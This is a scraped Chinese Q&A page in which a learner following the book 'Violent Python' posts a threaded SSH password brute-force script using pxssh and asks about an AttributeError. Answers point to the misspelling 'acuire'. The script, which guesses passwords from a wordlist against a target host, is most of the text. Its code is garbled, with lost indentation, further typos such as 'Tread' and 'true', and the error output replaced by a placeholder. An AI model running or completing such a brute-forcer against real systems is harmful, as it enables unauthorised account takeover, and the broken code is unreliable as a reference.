AttributeError:“\u BoundedSemaphore”对象没有属性“acuire”

2024-09-30 16:25:25 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在学习python,通过一本叫做暴力python的书学习,我正在学习一个涉及到制作一个暴力SSH脚本的部分。我遇到了一个错误,无法解决问题或解决方法。在

代码:

import pxssh
import optparse
import time
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host, user, password, release):
global Found
global Fails

try:
    s= pxssh.pxssh()
    s.login(host, user, password)
    print '[+] Password Found: ' + password
    Found = True

except Exception, e:
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        connect(host, user, password, False)

    elif 'synchronize with original prompt' in str(e):
          time.sleep(1)
          connect(host, user, password, False)

finally:
  if release: connection_lock.release()
def main():

  parser = optparse.OptionParser('usage%prog ' + \
'-H <target host> -u <user> -F <password list>')

  parser.add_option('-H', dest='tgtHost', type='string', \
help='target host')

  parser.add_option('-F', dest='passwdFile', type='string', \
help='specify password file')

  parser.add_option('-u', dest='user', type='string', \
help='the user')

  (options, args) = parser.parse_args()
  host = options.tgtHost
  passwdFile = options.passwdFile
  user = options.user

  if host == None or passwdFile == None or user == None:
    print parser.usage
    exit(0)
  fn = open(passwdFile, 'r')
  for line in fn.readlines():
    if Found:
    print "[*] Exiting: Password Found"
    exit(0)
    if Fails > 5:
      print "[!] Exiting: Too Many Socket Timeouts"
      exit(0)

  connection_lock.acuire()
  password = line.strip('\r').strip('\n')
  print "[-] Testing: "+str(password)
  t = Tread(target=connect, args=(host, user, password, true))
  child = t.start()
if __name__ == '__main__':
main()    

这是我得到的错误:

^{pr2}$

我已经编辑了实际的主机x.x.x.x,但我使用的主机已启动并运行。 任何有助于理解此错误和修复的帮助都会很有帮助。在


Tags: importhostparseriftimeconnect错误password
2条回答

你只是有个打字错误;行应该是

connection_lock.acquire()
#                 ^

如错误所述,AttributeError: '_BoundedSemaphore' object has no attribute 'acuire'您试图使用方法acuire,该方法不存在于object*\u BoundedSemaphore*中。在

我猜你写得不对,很可能是acquire。在

相关问题 更多 >